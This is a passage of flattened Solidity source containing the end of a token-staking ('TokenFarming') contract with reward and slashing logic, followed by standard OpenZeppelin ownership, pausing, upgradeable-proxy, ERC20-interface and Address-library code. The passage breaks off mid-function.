stakeToken.transferFrom(msg.sender, address(this), _stakeAmount); emit TokensStaked(msg.sender, _stakeAmount); } function withdrawFunds(uint256 _amountToWithdraw) public updateRewards { uint256 _currentStakedAmount = userInfos[msg.sender].stakedAmount; require( _currentStakedAmount >= _amountToWithdraw, "TokenFarming: Not enough staked tokens to withdraw" ); userInfos[msg.sender].stakedAmount = _currentStakedAmount - _amountToWithdraw; totalPoolStaked -= _amountToWithdraw; stakeToken.transfer(msg.sender, _amountToWithdraw); emit TokensWithdrawn(msg.sender, _amountToWithdraw); } function claimRewards() public updateRewards { uint256 _currentRewards = _applySlashing(userInfos[msg.sender].aggregatedReward); require(_currentRewards > 0, "TokenFarming: Nothing to claim"); delete userInfos[msg.sender].aggregatedReward; distributionToken.transfer(msg.sender, _currentRewards); emit RewardsClaimed(msg.sender, _currentRewards); } function claimAndWithdraw() external { withdrawFunds(userInfos[msg.sender].stakedAmount); claimRewards(); } /// @dev prices with the same precision function getAPY( address _userAddr, uint256 _stakeTokenPrice, uint256 _distributionTokenPrice ) external view returns (uint256 _resultAPY) { uint256 _userStakeAmount = userInfos[_userAddr].stakedAmount; if (_userStakeAmount > 0) { uint256 _newCumulativeSum = _getNewCumulativeSum( rewardPerBlock, totalPoolStaked, cumulativeSum, BLOCKS_PER_YEAR ); uint256 _totalReward = ((_newCumulativeSum - userInfos[_userAddr].lastCumulativeSum) * _userStakeAmount) / DECIMAL; _resultAPY = (_totalReward * _distributionTokenPrice * DECIMAL) / (_stakeTokenPrice * _userStakeAmount); } } function getTotalAPY(uint256 _stakeTokenPrice, uint256 _distributionTokenPrice) external view returns (uint256) { uint256 _totalPool = totalPoolStaked; if (_totalPool > 0) { uint256 _totalRewards = distributionToken.balanceOf(address(this)); return (_totalRewards * _distributionTokenPrice * DECIMAL) / (_totalPool * _stakeTokenPrice); } return 0; } function _applySlashing(uint256 _rewards) private view returns (uint256) { if (block.timestamp < startDate + 150 days) { return (_rewards * (block.timestamp - startDate)) / 150 days; } return _rewards; } function _updateCumulativeSum() internal returns (uint256 _newCumulativeSum) { uint256 _totalPool = totalPoolStaked; uint256 _lastUpdate = lastUpdate; _lastUpdate = _lastUpdate == 0 ? block.number : _lastUpdate; if (_totalPool > 0) { _newCumulativeSum = _getNewCumulativeSum( rewardPerBlock, _totalPool, cumulativeSum, block.number - _lastUpdate ); cumulativeSum = _newCumulativeSum; } lastUpdate = block.number; } function _getNewCumulativeSum( uint256 _rewardPerBlock, uint256 _totalPool, uint256 _prevAP, uint256 _blocksDelta ) internal pure returns (uint256) { uint256 _newPrice = (_rewardPerBlock * DECIMAL) / _totalPool; return _blocksDelta * _newPrice + _prevAP; } function _updateUserRewards(uint256 _newCumulativeSum) internal { UserInfo storage userInfo = userInfos[msg.sender]; uint256 _currentUserStakedAmount = userInfo.stakedAmount; if (_currentUserStakedAmount > 0) { userInfo.aggregatedReward += ((_newCumulativeSum - userInfo.lastCumulativeSum) * _currentUserStakedAmount) / DECIMAL; } userInfo.lastCumulativeSum = _newCumulativeSum; } function getLatestUserRewards(address _userAddr) public view returns (uint256) { uint256 _totalPool = totalPoolStaked; uint256 _lastUpdate = lastUpdate; uint256 _newCumulativeSum; _lastUpdate = _lastUpdate == 0 ? block.number : _lastUpdate; if (_totalPool > 0) { _newCumulativeSum = _getNewCumulativeSum( rewardPerBlock, _totalPool, cumulativeSum, block.number - _lastUpdate ); } UserInfo memory userInfo = userInfos[_userAddr]; uint256 _currentUserStakedAmount = userInfo.stakedAmount; uint256 _agregatedRewards = userInfo.aggregatedReward; if (_currentUserStakedAmount > 0) { _agregatedRewards = _agregatedRewards + ((_newCumulativeSum - userInfo.lastCumulativeSum) * _currentUserStakedAmount) / DECIMAL; } return _agregatedRewards; } function getLatestUserRewardsAfterSlashing(address _userAddr) external view returns (uint256) { return _applySlashing(getLatestUserRewards(_userAddr)); } function transferStuckERC20( IERC20 _token, address _to, uint256 _amount ) external onlyOwner { require(address(_token) != address(stakeToken), "Not possible to withdraw stake token"); _token.transfer(_to, _amount); } } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity 0.8.3; uint256 constant ONE_PERCENT = 10**25; uint256 constant DECIMAL = ONE_PERCENT * 100; uint256 constant BLOCKS_PER_DAY = 6450; uint256 constant BLOCKS_PER_YEAR = BLOCKS_PER_DAY * 365; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "./ERC1967Upgrade.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeacon.sol"; import "../../utils/Address.sol"; import "../../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require( Address.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./TransparentUpgradeableProxy.sol"; import "../../access/Ownable.sol"; /** * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an * explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}. */ contract ProxyAdmin is Ownable { /** * @dev Returns the current implementation of `proxy`. * * Requirements: * * - This contract must be the admin of `proxy`. */ function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("implementation()")) == 0x5c60da1b (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } /** * @dev Returns the current admin of `proxy`. * * Requirements: * * - This contract must be the admin of `proxy`. */ function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("admin()")) == 0xf851a440 (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } /** * @dev Changes the admin of `proxy` to `newAdmin`. * * Requirements: * * - This contract must be the current admin of `proxy`. */ function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner { proxy.changeAdmin(newAdmin); } /** * @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}. * * Requirements: * * - This contract must be the admin of `proxy`. */ function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner { proxy.upgradeTo(implementation); } /** * @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See * {TransparentUpgradeableProxy-upgradeToAndCall}. * * Requirements: * * - This contract must be the admin of `proxy`. */ function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner { proxy.upgradeToAndCall{value: msg.value}(implementation, data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967Proxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = 